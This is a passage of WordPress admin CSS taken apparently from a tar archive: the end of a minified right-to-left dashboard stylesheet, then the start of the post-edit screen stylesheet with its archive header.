td{vertical-align:top}#the-comment-list td.comment{word-wrap:break-word}#the-comment-list td.comment img{max-width:100%}.index-php #screen-meta-links{margin:0 0 8px 20px}.welcome-panel{position:relative;overflow:auto;margin:16px 0;border-radius:8px;font-size:14px;line-height:1.3;clear:both}.welcome-panel h2{margin:0;font-size:48px;font-weight:600;line-height:1.25}.welcome-panel h3{margin:0;font-size:20px;font-weight:400;line-height:1.4}.welcome-panel p{font-size:inherit;line-height:inherit}.welcome-panel-header{position:relative;color:#fff}.welcome-panel-header-image{position:absolute!important;top:0;left:0;bottom:0;right:0;z-index:0!important;overflow:hidden}.welcome-panel-header-image svg{display:block;margin:auto;width:100%;height:100%}.rtl .welcome-panel-header-image svg{transform:scaleX(-1)}.welcome-panel-header *{color:inherit;position:relative;z-index:1}.welcome-panel-header a:focus,.welcome-panel-header a:hover{color:inherit;text-decoration:none}.welcome-panel .welcome-panel-close:focus,.welcome-panel-header a:focus{outline-color:currentColor;outline-offset:1px;box-shadow:none}.welcome-panel-header p{margin:.5em 0 0;font-size:20px;line-height:1.4}.welcome-panel .welcome-panel-close{display:flex;align-items:center;position:absolute;top:10px;left:10px;padding:10px 15px;font-size:13px;line-height:1.23076923;text-decoration:none;z-index:1}.welcome-panel .welcome-panel-close:before{transition:all .1s ease-in-out;content:'\f335';font-size:24px;color:#fff}.welcome-panel .welcome-panel-close{color:#fff}.welcome-panel .welcome-panel-close:focus,.welcome-panel .welcome-panel-close:focus::before,.welcome-panel .welcome-panel-close:hover,.welcome-panel .welcome-panel-close:hover::before{color:#fff972}.wp-core-ui .welcome-panel .button.button-hero{margin:15px 0 3px 13px;padding:12px 36px;height:auto;line-height:1.4285714;white-space:normal}.welcome-panel-content{min-height:400px;display:flex;flex-direction:column;justify-content:space-between}.welcome-panel-header-wrap{background-color:#151515}.welcome-panel-header{box-sizing:border-box;margin-right:auto;margin-left:auto;max-width:1500px;width:100%;padding:48px 48px 80px 0}.welcome-panel .welcome-panel-column-container{box-sizing:border-box;width:100%;clear:both;display:grid;z-index:1;padding:24px;grid-template-columns:repeat(3,1fr);gap:32px;align-self:flex-end;background:#fff;border:1px solid #c3c4c7;border-top:0;border-radius:0 0 8px 8px}[class*=welcome-panel-icon]{height:60px;width:60px;background-position:center;background-size:24px 24px;background-repeat:no-repeat;border-radius:100%}.welcome-panel-column>svg{margin-top:4px}.welcome-panel-column{display:grid;grid-template-columns:min-content 1fr;gap:24px}.welcome-panel-icon-pages{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24'%3E%3Cpath fill='%23fff' d='M7 13.8h6v-1.5H7v1.5zM18 16V4c0-1.1-.9-2-2-2H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2zM5.5 16V4c0-.3.2-.5.5-.5h10c.3 0 .5.2.5.5v12c0 .3-.2.5-.5.5H6c-.3 0-.5-.2-.5-.5zM7 10.5h8V9H7v1.5zm0-3.3h8V5.8H7v1.4zM20.2 6v13c0 .7-.6 1.2-1.2 1.2H8v1.5h11c1.5 0 2.7-1.2 2.7-2.8V6h-1.5z' /%3E%3C/svg%3E")}.welcome-panel-icon-layout{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24'%3E%3Cpath fill='%23fff' d='M18 5.5H6a.5.5 0 00-.5.5v3h13V6a.5.5 0 00-.5-.5zm.5 5H10v8h8a.5.5 0 00.5-.5v-7.5zm-10 0h-3V18a.5.5 0 00.5.5h2.5v-8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z' /%3E%3C/svg%3E")}.welcome-panel-icon-styles{background-image:url("data:image/svg+xml,%3Csvg viewBox='0 0 24 24' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath fill='%23fff' d='M12 4c-4.4 0-8 3.6-8 8v.1c0 4.1 3.2 7.5 7.2 7.9h.8c4.4 0 8-3.6 8-8s-3.6-8-8-8zm0 15V5c3.9 0 7 3.1 7 7s-3.1 7-7 7z' /%3E%3C/svg%3E")}.welcome-panel .welcome-widgets-menus{line-height:1.14285714}.welcome-panel .welcome-panel-column ul{margin:.8em 0 1em 1em}.welcome-panel li{font-size:14px}.welcome-panel li a{text-decoration:none}.welcome-panel .welcome-panel-column li{line-height:1.14285714;list-style-type:none;padding:0 0 8px}.welcome-panel .welcome-icon{background:0 0!important}#dashboard_right_now .search-engines-info:before,#dashboard_right_now li a:before,#dashboard_right_now li span:before,.welcome-panel .welcome-icon:before{color:#646970;font:normal 20px/1 dashicons;display:inline-block;padding:0 0 0 10px;position:relative;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-decoration:none!important;vertical-align:top}.welcome-panel .welcome-edit-page:before,.welcome-panel .welcome-write-blog:before{content:"\f119";content:"\f119"/'';top:-3px}.welcome-panel .welcome-add-page:before{content:"\f132";content:"\f132"/'';top:-1px}.welcome-panel .welcome-setup-home:before{content:"\f102";content:"\f102"/'';top:-1px}.welcome-panel .welcome-view-site:before{content:"\f115";content:"\f115"/'';top:-2px}.welcome-panel .welcome-widgets-menus:before{content:"\f116";content:"\f116"/'';top:-2px}.welcome-panel .welcome-widgets:before{content:"\f538";content:"\f538"/'';top:-2px}.welcome-panel .welcome-menus:before{content:"\f163";content:"\f163"/'';top:-2px}.welcome-panel .welcome-comments:before{content:"\f117";content:"\f117"/'';top:-1px}.welcome-panel .welcome-learn-more:before{content:"\f118";content:"\f118"/'';top:-1px}#dashboard_right_now .search-engines-info:before,#dashboard_right_now li a:before,#dashboard_right_now li>span:before{padding:0 0 0 5px;content:"\f159";content:"\f159"/''}#dashboard_right_now .page-count a:before,#dashboard_right_now .page-count span:before{content:"\f105";content:"\f105"/''}#dashboard_right_now .post-count a:before,#dashboard_right_now .post-count span:before{content:"\f109";content:"\f109"/''}#dashboard_right_now .comment-count a:before{content:"\f101";content:"\f101"/''}#dashboard_right_now .comment-mod-count a:before{content:"\f125";content:"\f125"/''}#dashboard_right_now .storage-count a:before{content:"\f104";content:"\f104"/''}#dashboard_right_now .storage-count.warning a:before{content:"\f153";content:"\f153"/''}#dashboard_right_now .search-engines-info:before{content:"\f348";content:"\f348"/'';color:#d63638}.community-events-errors{margin:0}.community-events-loading{padding:10px 12px 8px}.community-events{margin-bottom:6px;padding:0 12px}.community-events .spinner{margin:0 2px 0}.community-events form[aria-hidden=true],.community-events-errors [aria-hidden=true],.community-events-errors[aria-hidden=true],.community-events-loading[aria-hidden=true],.community-events[aria-hidden=true]{display:none}.community-events .activity-block:first-child,.community-events h2{padding-top:12px;padding-bottom:10px}.community-events-form{margin:15px 0 5px;display:flex;gap:5px;align-items:center;flex-wrap:wrap}.community-events-form .regular-text{width:40%;margin:0;min-height:32px;padding:0 8px}#dashboard-widgets .community-events-form .button{min-height:32px;line-height:2.30769231;padding:0 12px}.community-events li.event-none{border-right:4px solid var(--wp-admin-theme-color,#3858e9)}#dashboard-widgets .community-events li.event-none a{text-decoration:underline}.community-events-form label{line-height:2.14285714}.community-events .activity-block>p{margin-bottom:0;display:inline}.community-events-toggle-location{vertical-align:middle}#dashboard-widgets .community-events-cancel.button-link{text-decoration:underline}.community-events ul{background-color:rgba(var(--wp-admin-theme-color--rgb),.08);padding-right:0;padding-left:0;padding-bottom:0}.community-events li{margin:0;padding:8px 12px;color:#2c3338}.community-events li:first-child{border-top:1px solid #e9e9ed}.community-events li~li{border-top:1px solid #e9e9ed}.community-events .activity-block.last{border-bottom:1px solid #e9e9ed;padding-top:0;margin-top:-1px}.community-events .event-info{display:block}.community-events .ce-separator::before{content:"\2022";content:"\2022"/''}.event-icon{height:18px;padding-left:10px;width:18px;display:none}.event-icon:before{color:#646970;font-size:18px}.event-meetup .event-icon:before{content:"\f484";content:"\f484"/''}.event-wordcamp .event-icon:before{content:"\f486";content:"\f486"/''}.community-events .event-title{font-weight:600;display:block}.community-events .event-date,.community-events .event-time{display:block}.community-events-footer{margin-top:0;margin-bottom:0;padding:12px;border-top:1px solid #f0f0f1;color:#646970}.community-events-footer .screen-reader-text{height:inherit;white-space:nowrap}#dashboard_primary .inside{margin:0;padding:0}#dashboard_primary .widget-loading{padding:12px 12px 0;margin-bottom:1em!important}#dashboard_primary .inside .notice{margin:0}body #dashboard-widgets .postbox form .submit{margin:0}.dashboard-widget-control-form p{margin-top:0}.rssSummary{color:#646970;margin-top:4px}#dashboard_primary .rss-widget{font-size:13px;padding:0 12px}#dashboard_primary .rss-widget:last-child{border-bottom:none;padding-bottom:8px}#dashboard_primary .rss-widget a{font-weight:400}#dashboard_primary .rss-widget span,#dashboard_primary .rss-widget span.rss-date{color:#646970}#dashboard_primary .rss-widget span.rss-date{margin-right:12px}#dashboard_primary .rss-widget ul li{padding:4px 0;margin:0}#dashboard_right_now ul{margin:0;display:inline-block;width:100%}#dashboard_right_now li{width:50%;float:right;margin-bottom:10px}#dashboard_right_now .main p{margin:0}#dashboard_right_now #wp-version-message .button{float:left;position:relative;top:-5px;margin-right:5px}#dashboard_right_now p.search-engines-info{margin:1em 0}.mu-storage{overflow:hidden}#dashboard-widgets h3.mu-storage{margin:0 0 10px;padding:0;font-size:14px;font-weight:400}#network_dashboard_right_now p input{margin:2px 1px;vertical-align:middle}#dashboard_right_now .sub{color:#50575e;background:#f6f7f7;border-top:1px solid #f0f0f1;padding:10px 12px 6px}#dashboard_right_now .sub h3{color:#50575e}#dashboard_right_now .sub p{margin:0 0 1em}#dashboard_right_now .warning a:before,#dashboard_right_now .warning span:before{color:#d63638}#dashboard_quick_press .inside{margin:0;padding:0}#dashboard_quick_press div.updated{margin-bottom:10px;border:1px solid #f0f0f1;border-width:1px 0 1px 1px}#dashboard_quick_press form{margin:12px}#dashboard_quick_press .drafts{padding:10px 0 0}#dashboard_quick_press label{display:inline-block;margin-bottom:4px}#dashboard_quick_press input,#dashboard_quick_press textarea{box-sizing:border-box;margin:0}#dashboard-widgets .postbox form .submit{margin:-39px 0;float:left}#description-wrap{margin-top:12px}#quick-press textarea#content{min-height:90px;max-height:1300px;margin:0 0 8px;padding:8px 12px;resize:none}.js #dashboard_quick_press .drafts{border-top:1px solid #f0f0f1}#dashboard_quick_press .drafts abbr{border:none}#dashboard_quick_press .drafts .view-all{float:left;margin:0 0 0 12px}#dashboard_primary a.rsswidget{font-weight:400}#dashboard_quick_press .drafts ul{margin:0 12px}#dashboard_quick_press .drafts li{margin-bottom:1em}#dashboard_quick_press .drafts li time{color:#646970}#dashboard_quick_press .drafts p{margin:0;word-wrap:break-word}#dashboard_quick_press .draft-title{word-wrap:break-word}#dashboard_quick_press .draft-title a,#dashboard_quick_press .draft-title time{margin:0 0 0 5px}#dashboard-widgets h3,#dashboard-widgets h4,#dashboard_quick_press .drafts h2{margin:0 12px 8px;padding:0;font-size:14px;font-weight:400;color:#1d2327}#dashboard_quick_press .drafts h2{line-height:inherit}#dashboard-widgets .inside h3,#dashboard-widgets .inside h4{margin-right:0;margin-left:0}#dashboard_activity .comment-meta span.approve:before{content:"\f227";content:"\f227"/'';font:20px/.5 dashicons;margin-right:5px;vertical-align:middle;position:relative;top:-1px;margin-left:2px}#dashboard_activity .inside{margin:0;padding:0 12px}#dashboard_activity .no-activity{overflow:hidden;padding:12px 0;text-align:center}#dashboard_activity .no-activity p{color:#646970;font-size:16px}#dashboard_activity .subsubsub{float:none;border-top:1px solid #f0f0f1;margin:0 -12px;padding:8px 12px 4px}#dashboard_activity .subsubsub a .count,#dashboard_activity .subsubsub a.current .count{color:#646970}#future-posts ul,#published-posts ul{margin:8px -12px 0 -12px}#future-posts li,#published-posts li{display:grid;grid-template-columns:clamp(160px,calc(2vw + 140px),200px) auto;column-gap:10px;color:#646970;padding:4px 12px}#future-posts li:nth-child(odd),#published-posts li:nth-child(odd){background-color:#f6f7f7}.activity-block{border-bottom:1px solid #f0f0f1;margin:0 -12px 6px -12px;padding:8px 12px 4px}.activity-block:last-child{border-bottom:none;margin-bottom:0}.activity-block .subsubsub li{color:#646970}#activity-widget #the-comment-list div.undo,#activity-widget #the-comment-list tr.undo{background:0 0;padding:6px 0;margin-right:12px}#activity-widget #the-comment-list .comment-item{background:#f6f7f7;padding:12px;position:relative}#activity-widget #the-comment-list .avatar{position:absolute;top:12px}#activity-widget #the-comment-list .dashboard-comment-wrap.has-avatar{padding-right:63px}#activity-widget #the-comment-list .dashboard-comment-wrap blockquote{margin:1em 0}#activity-widget #the-comment-list .comment-item p.row-actions{margin:4px 0 0}#activity-widget #the-comment-list .comment-item:first-child{border-top:1px solid #f0f0f1}#activity-widget #the-comment-list .unapproved{background-color:#fcf9e8}#activity-widget #the-comment-list .unapproved:before{content:"";display:block;position:absolute;right:0;top:0;bottom:0;background:#d63638;width:4px}#activity-widget #the-comment-list .spam-undo-inside .avatar,#activity-widget #the-comment-list .trash-undo-inside .avatar{position:relative;top:0}#dashboard-widgets #dashboard_browser_nag.postbox .inside{margin:10px}.postbox .button-link .edit-box{display:none}.edit-box{opacity:0}.edit-box:focus,.hndle:hover .edit-box{opacity:1}#dashboard-widgets form .input-text-wrap input{width:100%}#dashboard-widgets form .textarea-wrap textarea{width:100%}#dashboard-widgets .postbox form .submit{float:none;margin:.5em 0 0;padding:0;border:none}#dashboard-widgets-wrap #dashboard-widgets .postbox form .submit #publish{min-width:0}#dashboard-widgets .button-link,#dashboard-widgets li a,.community-events-footer a{text-decoration:none}#dashboard-widgets h2 a{text-decoration:underline}#dashboard-widgets .hndle .postbox-title-action{float:left;line-height:1.2}#dashboard_plugins h5{font-size:14px}#latest-comments #the-comment-list{position:relative;margin:0 -12px}#activity-widget #the-comment-list .comment,#activity-widget #the-comment-list .pingback{box-shadow:inset 0 1px 0 rgba(0,0,0,.06)}#activity-widget .comments #the-comment-list .alt{background-color:transparent}#activity-widget #latest-comments #the-comment-list .comment-item{min-height:50px;margin:0;padding:12px}#latest-comments #the-comment-list .pingback{padding-right:12px!important}#latest-comments #the-comment-list .comment-item:first-child{border-top:none}#latest-comments #the-comment-list .comment-meta{line-height:1.5;margin:0;color:#646970}#latest-comments #the-comment-list .comment-meta cite{font-style:normal;font-weight:400}#latest-comments #the-comment-list .comment-item blockquote,#latest-comments #the-comment-list .comment-item blockquote p{margin:0;padding:0;display:inline}#latest-comments #the-comment-list .comment-item p.row-actions{margin:3px 0 0;padding:0;font-size:13px}.rss-widget ul{margin:0;padding:0;list-style:none}a.rsswidget{font-size:13px;font-weight:600;line-height:1.4}.rss-widget ul li{line-height:1.5;margin-bottom:12px}.rss-widget span.rss-date{color:#646970;font-size:13px;margin-right:3px}.rss-widget cite{display:block;text-align:left;margin:0 0 1em;padding:0}.rss-widget cite:before{content:"\2014";content:"\2014"/''}.dashboard-comment-wrap{word-wrap:break-word}#dashboard_browser_nag a.update-browser-link{font-size:1.2em;font-weight:600}#dashboard_browser_nag a{text-decoration:underline}#dashboard_browser_nag p.browser-update-nag.has-browser-icon{padding-left:128px}#dashboard_browser_nag .browser-icon{margin-top:-32px}#dashboard_browser_nag.postbox{background-color:#b32d2e;background-image:none;border-color:#b32d2e;color:#fff;box-shadow:none}#dashboard_browser_nag.postbox h2{border-bottom-color:transparent;background:transparent none;color:#fff;box-shadow:none}#dashboard_browser_nag a{color:#fff}#dashboard_browser_nag.postbox .postbox-header{border-color:transparent}#dashboard_browser_nag h2.hndle{border:none;font-weight:600;font-size:20px;padding-top:10px}.postbox#dashboard_browser_nag p a.dismiss{font-size:14px}.postbox#dashboard_browser_nag a,.postbox#dashboard_browser_nag p,.postbox#dashboard_browser_nag p.browser-update-nag{font-size:16px}#dashboard_php_nag .dashicons-warning{color:#dba617;padding-left:6px}#dashboard_php_nag.php-no-security-updates .dashicons-warning,#dashboard_php_nag.php-version-lower-than-future-minimum .dashicons-warning{color:#d63638}#dashboard_php_nag h2{display:inline-block}#dashboard_php_nag p{margin:12px 0}.bigger-bolder-text{font-weight:600;font-size:14px}@media only screen and (min-width:1600px){.welcome-panel .welcome-panel-column-container{display:flex;justify-content:center}.welcome-panel-column{width:100%;max-width:460px}}@media only screen and (max-width:799px){#wpbody-content #dashboard-widgets .postbox-container{width:100%}#dashboard-widgets .meta-box-sortables{min-height:0}.is-dragging-metaboxes #dashboard-widgets .meta-box-sortables{min-height:100px}#dashboard-widgets .meta-box-sortables.empty-container{margin-bottom:0}}@media only screen and (min-width:800px) and (max-width:1499px){#wpbody-content #dashboard-widgets .postbox-container{width:49.5%}#wpbody-content #dashboard-widgets #postbox-container-2,#wpbody-content #dashboard-widgets #postbox-container-3,#wpbody-content #dashboard-widgets #postbox-container-4{float:left;width:50.5%}#dashboard-widgets #postbox-container-3 .empty-container,#dashboard-widgets #postbox-container-4 .empty-container{border:none;height:0;min-height:0;margin-bottom:0;display:none}#dashboard-widgets #postbox-container-3 .empty-container:after,#dashboard-widgets #postbox-container-4 .empty-container:after{display:none}#wpbody #wpbody-content #dashboard-widgets.columns-1 .postbox-container{width:100%}#wpbody #dashboard-widgets .metabox-holder.columns-1 .postbox-container .empty-container{border:none;height:0;min-height:0;margin-bottom:0}.index-php .columns-prefs,.index-php .screen-layout{display:block}.columns-prefs .columns-prefs-3,.columns-prefs .columns-prefs-4{display:none}#dashboard-widgets .postbox-container .empty-container:after{display:block}}@media only screen and (min-width:1500px) and (max-width:1800px){#wpbody-content #dashboard-widgets .postbox-container{width:33.5%}#wpbody-content #dashboard-widgets #postbox-container-1{width:33%}#wpbody-content #dashboard-widgets #postbox-container-3,#wpbody-content #dashboard-widgets #postbox-container-4{float:left}#dashboard-widgets #postbox-container-4 .empty-container{border:none;height:0;min-height:0;margin-bottom:0;display:none}#dashboard-widgets #postbox-container-4 .empty-container:after{display:none}#dashboard-widgets .postbox-container .empty-container:after{display:block}}@media only screen and (min-width:1801px){#dashboard-widgets .postbox-container .empty-container:after{display:block}}@media screen and (max-width:870px){.welcome-panel .welcome-panel-column li{display:inline-block;margin-left:13px}.welcome-panel .welcome-panel-column ul{margin:.4em 0 0}}@media screen and (max-width:1180px) and (min-width:783px){.welcome-panel-column{grid-template-columns:1fr}.welcome-panel-column>svg,[class*=welcome-panel-icon]{display:none}}@media screen and (max-width:782px){.welcome-panel .welcome-panel-column-container{grid-template-columns:1fr;box-sizing:border-box;padding:32px;width:100%}.welcome-panel .welcome-panel-column-content{max-width:520px}.welcome-panel .welcome-panel-close{overflow:hidden;text-indent:40px;white-space:nowrap;width:20px;height:20px;padding:5px;top:5px;left:5px}.welcome-panel .welcome-panel-close::before{position:absolute;top:5px;right:-35px}#dashboard-widgets h2{padding:12px}#dashboard_recent_comments #the-comment-list .comment-item .avatar{height:30px;width:30px;margin:4px 0 5px 10px}.community-events-toggle-location{height:38px;vertical-align:baseline}#community-events-submit{margin-bottom:0}#dashboard-widgets .community-events-cancel.button-link,.community-events-form label{font-size:14px;line-height:normal;padding:6px 0;border:1px solid transparent}}@media screen and (max-width:600px){.welcome-panel-header{padding:32px 32px 64px}.welcome-panel-header-image{display:none}}@media screen and (max-width:480px){.welcome-panel-column{gap:16px}}@media screen and (max-width:360px){.welcome-panel-column{grid-template-columns:1fr}.welcome-panel-column>svg,[class*=welcome-panel-icon]{display:none}}@media screen and (min-width:355px){.community-events .event-info{display:table-row;float:right;max-width:59%}.event-icon,.event-icon[aria-hidden=true]{display:table-cell}.event-info-inner{display:table-cell}.community-events .event-date-time{float:left;max-width:39%}.community-events .event-date,.community-events .event-time{text-align:left}} css/edit.css 0000644 00000113500 15233246127 0007000 0 ustar 00 #poststuff { padding-top: 10px; min-width: 763px; } #poststuff #post-body { padding: 0; } #poststuff .postbox-container { width: 100%; } #poststuff #post-body.columns-2 { margin-right: 300px; } /*------------------------------------------------------------------------------ 11.0 - Write/Edit Post Screen ------------------------------------------------------------------------------*/ #show-comments { overflow: hidden; } #save-action .spinner, #show-comments a { float: left; } #show-comments .spinner { float: none; margin-top: 0; } #lost-connection-notice .spinner { visibility: visible; float: left; margin: 0 5px 0 0; } #titlediv { position: relative; } #titlediv label { cursor: text; } #titlediv div.inside { margin: 0; } #poststuff #titlewrap { border: 0; padding: 0; } #titlediv #title { padding: 3px 8px; font-size: 1.7em; line-height: 100%; height: 1.7em; width: 100%; outline: none; margin: 0 0 3px; background-color: #fff; } #titlediv #title-prompt-text { color: #646970; position: absolute; font-size: 1.7em; padding: 10px; pointer-events: none; } #titlewrap .skiplink { background: #fff; line-height: 2.30769231; /* 30px for 32px min-height */ min-height: 32px; right: 4px; } #titlewrap .skiplink:focus { clip: inherit; clip-path: inherit; top: 4px; width: auto; } input#link_description, input#link_url { width: 100%; } #pending { background: 0 none; border: 0 none; padding: 0; font-size: 11px; margin-top: -1px; } #edit-slug-box, #comment-link-box { line-height: 1.84615384; min-height: 25px; margin-top: 5px; padding: 0 10px; color: #646970; } #sample-permalink { display: inline-block; max-width: 100%; word-wrap: break-word; } #edit-slug-box .cancel { margin-right: 10px; padding: 0; } #comment-link-box { margin: 5px 0; padding: 0 5px; } #editable-post-name-full { display: none; } #editable-post-name { font-weight: 600; } #editable-post-name input { font-size: 13px; font-weight: 400; min-height: 32px; margin: 0; width: 16em; } .postarea h3 label { float: left; } body.post-new-php .submitbox .submitdelete { display: none; } .submitbox .submit a:hover { text-decoration: underline; } .submitbox .submit input { margin-bottom: 8px; margin-right: 4px; padding: 6px; } #post-status-select { margin-top: 3px; } body.post-type-wp_navigation div#minor-publishing, body.post-type-wp_navigation .inline-edit-status { display: none; } /* Post Screen */ /* Only highlight drop zones when dragging and only in the 2 columns layout. */ .is-dragging-metaboxes .metabox-holder .postbox-container .meta-box-sortables { border-radius: 8px; background: rgb(var(--wp-admin-theme-color--rgb), 0.04); /* * This min-height is meant to limit jumpiness while dragging. It's equivalent * to the minimum height of the sortable-placeholder which is given by the height * of a collapsed post box (36px + 1px top and bottom borders) + the placeholder * bottom margin (20px) + 2 additional pixels to compensate browsers rounding. */ min-height: 60px; margin-bottom: 20px; } .postbox { position: relative; min-width: 255px; border: 1px solid #c3c4c7; box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); background: #fff; } #trackback_url { width: 99%; } #normal-sortables .postbox .submit { background: transparent none; border: 0 none; float: right; padding: 0 12px; margin: 0; } .category-add input[type="text"], .category-add select { width: 100%; max-width: 260px; vertical-align: baseline; } #side-sortables .category-add input[type="text"], #side-sortables .category-add select { margin: 0 0 1em; } ul.category-tabs li, #side-sortables .add-menu-item-tabs li, .wp-tab-bar li { display: inline; line-height: 1.35; } .no-js .category-tabs li.hide-if-no-js { display: none; } .category-tabs a, #side-sortables .add-menu-item-tabs a, .wp-tab-bar a { text-decoration: none; } /* @todo: do these really need to be so specific? */ #side-sortables .category-tabs .tabs a, #side-sortables .add-menu-item-tabs .tabs a, .wp-tab-bar .wp-tab-active a, #post-body ul.category-tabs li.tabs a, #post-body ul.add-menu-item-tabs li.tabs a { color: #2c3338; } .category-tabs { margin: 8px 0 5px; } /* Back-compat for pre-4.4 */ #category-adder h4 { margin: 0; } .taxonomy-add-new { display: inline-block; margin: 10px 0; font-weight: 600; } #side-sortables .add-menu-item-tabs, .wp-tab-bar { margin-bottom: 3px; } #normal-sortables .postbox #replyrow .submit { float: none; margin: 0; padding: 5px 7px 10px; overflow: hidden; } #side-sortables .submitbox .submit input, #side-sortables .submitbox .submit .preview, #side-sortables .submitbox .submit a.preview:hover { border: 0 none; } /* @todo: make this a more generic class */ ul.category-tabs, ul.add-menu-item-tabs, ul.wp-tab-bar { margin-top: 12px; } ul.category-tabs li, ul.add-menu-item-tabs li { border: solid 1px transparent; position: relative; } ul.category-tabs li.tabs, ul.add-menu-item-tabs li.tabs, .wp-tab-active { border: 1px solid #dcdcde; border-bottom-color: #fff; background-color: #fff; } ul.category-tabs li, ul.add-menu-item-tabs li, ul.wp-tab-bar li { padding: 3px 5px 6px; } #set-post-thumbnail { display: inline-block; max-width: 100%; } #postimagediv .inside img { max-width: 100%; height: auto; vertical-align: top; background-image: linear-gradient(45deg, #c3c4c7 25%, transparent 25%, transparent 75%, #c3c4c7 75%, #c3c4c7), linear-gradient(45deg, #c3c4c7 25%, transparent 25%, transparent 75%, #c3c4c7 75%, #c3c4c7); background-position: 0 0, 10px 10px; background-size: 20px 20px; } form#tags-filter { position: relative; } /* Global classes */ .wp-hidden-children .wp-hidden-child, .ui-tabs-hide { display: none; } #post-body .tagsdiv #newtag { margin-right: 0; flex: 1; min-width: 0; } #side-sortables input#post_password { width: 94% } #side-sortables .tagsdiv #newtag { flex: 1; min-width: 0; } #post-status-info { width: 100%; border-spacing: 0; border: 1px solid #c3c4c7; border-top: none; background-color: #f6f7f7; box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); z-index: 999; } #post-status-info td { font-size: 12px; } .autosave-info { padding: 2px 10px; text-align: right; } #editorcontent #post-status-info { border: none; } #content-resize-handle { background: transparent url(../images/resize.gif) no-repeat scroll right bottom; width: 12px; cursor: row-resize; } /*rtl:ignore*/ .rtl #content-resize-handle { background-image: url(../images/resize-rtl.gif); background-position: left bottom; } .wp-editor-expand #content-resize-handle { display: none; } #postdivrich #content { resize: none; } #wp-word-count { padding: 2px 10px; } #wp-content-editor-container { position: relative; } .wp-editor-expand #wp-content-editor-tools { z-index: 1000; border-bottom: 1px solid #c3c4c7; } .wp-editor-expand #wp-content-editor-container { box-shadow: none; margin-top: -1px; } .wp-editor-expand #wp-content-editor-container { border-bottom: 0 none; } .wp-editor-expand div.mce-statusbar { z-index: 1; } .wp-editor-expand #post-status-info { border-top: 1px solid #c3c4c7; } .wp-editor-expand div.mce-toolbar-grp { z-index: 999; } /* TinyMCE native fullscreen mode override */ .mce-fullscreen #wp-content-wrap .mce-menubar, .mce-fullscreen #wp-content-wrap .mce-toolbar-grp, .mce-fullscreen #wp-content-wrap .mce-edit-area, .mce-fullscreen #wp-content-wrap .mce-statusbar { position: static !important; width: auto !important; padding: 0 !important; } .mce-fullscreen #wp-content-wrap .mce-statusbar { visibility: visible !important; } .mce-fullscreen #wp-content-wrap .mce-tinymce .mce-wp-dfw { display: none; } .post-php.mce-fullscreen #wpadminbar, .mce-fullscreen #wp-content-wrap .mce-wp-dfw { display: none; } /* End TinyMCE native fullscreen mode override */ #wp-content-editor-tools { background-color: #f0f0f1; padding-top: 20px; } #poststuff #post-body.columns-2 #side-sortables { width: 280px; } #timestampdiv select { vertical-align: top; font-size: 12px; line-height: 2.33333333; /* 28px */ } #aa, #jj, #hh, #mn { padding: 6px 1px; font-size: 12px; line-height: 1.16666666; /* 14px */ } #jj, #hh, #mn { width: 2em; } #aa { width: 3.4em; } .curtime #timestamp { padding: 2px 0 1px; display: inline !important; height: auto !important; } #post-body .misc-pub-post-status:before, #post-body #visibility:before, .curtime #timestamp:before, #post-body .misc-pub-uploadedby:before, #post-body .misc-pub-uploadedto:before, #post-body .misc-pub-revisions:before, #post-body .misc-pub-response-to:before, #post-body .misc-pub-comment-status:before { color: #8c8f94; } #post-body .misc-pub-post-status:before, #post-body #visibility:before, .curtime #timestamp:before, #post-body .misc-pub-uploadedby:before, #post-body .misc-pub-uploadedto:before, #post-body .misc-pub-revisions:before, #post-body .misc-pub-response-to:before, #post-body .misc-pub-comment-status:before { font: normal 20px/1 dashicons; display: inline-block; margin-left: -1px; padding-right: 3px; vertical-align: top; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } #post-body .misc-pub-post-status:before, #post-body .misc-pub-comment-status:before { content: "\f173"; content: "\f173" / ''; } #post-body #visibility:before { content: "\f177"; content: "\f177" / ''; } .curtime #timestamp:before { content: "\f145"; content: "\f145" / ''; position: relative; top: -1px; } #post-body .misc-pub-uploadedby:before { content: "\f110"; content: "\f110" / ''; position: relative; top: -1px; } #post-body .misc-pub-uploadedto:before { content: "\f318"; content: "\f318" / ''; position: relative; top: -1px; } #post-body .misc-pub-revisions:before { content: "\f321"; content: "\f321" / ''; } #post-body .misc-pub-response-to:before { content: "\f101"; content: "\f101" / ''; } #timestampdiv { padding-top: 5px; line-height: 1.76923076; } #timestampdiv p { margin: 8px 0 6px; } #timestampdiv input { text-align: center; } .notification-dialog { position: fixed; top: 30%; max-height: 70%; left: 50%; width: 450px; margin-left: -225px; background: #fff; box-shadow: 0 3px 6px rgba(0, 0, 0, 0.3); line-height: 1.5; z-index: 1000005; overflow-y: auto; } .notification-dialog-background { position: fixed; top: 0; left: 0; right: 0; bottom: 0; background: #000; opacity: 0.7; filter: alpha(opacity=70); z-index: 1000000; } #post-lock-dialog .post-locked-message, #post-lock-dialog .post-taken-over { margin: 25px; } #post-lock-dialog .post-locked-message a.button, #file-editor-warning .button { margin-right: 10px; } #post-lock-dialog .post-locked-avatar { float: left; margin: 0 20px 20px 0; } #post-lock-dialog .wp-tab-first { outline: 0; } #post-lock-dialog .locked-saving img { float: left; margin-right: 3px; } #post-lock-dialog.saving .locked-saving, #post-lock-dialog.saved .locked-saved { display: inline; } #excerpt { display: block; margin: 12px 0 0; height: 4em; width: 100%; } .tagchecklist { margin-left: 14px; font-size: 12px; overflow: auto; } .tagchecklist br { display: none; } .tagchecklist strong { margin-left: -8px; position: absolute; } .tagchecklist > li { float: left; margin-right: 25px; font-size: 13px; line-height: 1.8; cursor: default; max-width: 100%; overflow: hidden; text-overflow: ellipsis; } .tagchecklist .ntdelbutton { position: absolute; width: 24px; height: 24px; border: none; margin: 0 0 0 -19px; padding: 0; background: none; cursor: pointer; text-indent: 0; } #poststuff h3.hndle, /* Back-compat for pre-4.4 */ #poststuff .stuffbox > h3, /* Back-compat for pre-4.4 */ #poststuff h2 { font-size: 14px; padding: 8px 12px; margin: 0; line-height: 1.4; } #poststuff .stuffbox h2 { padding: 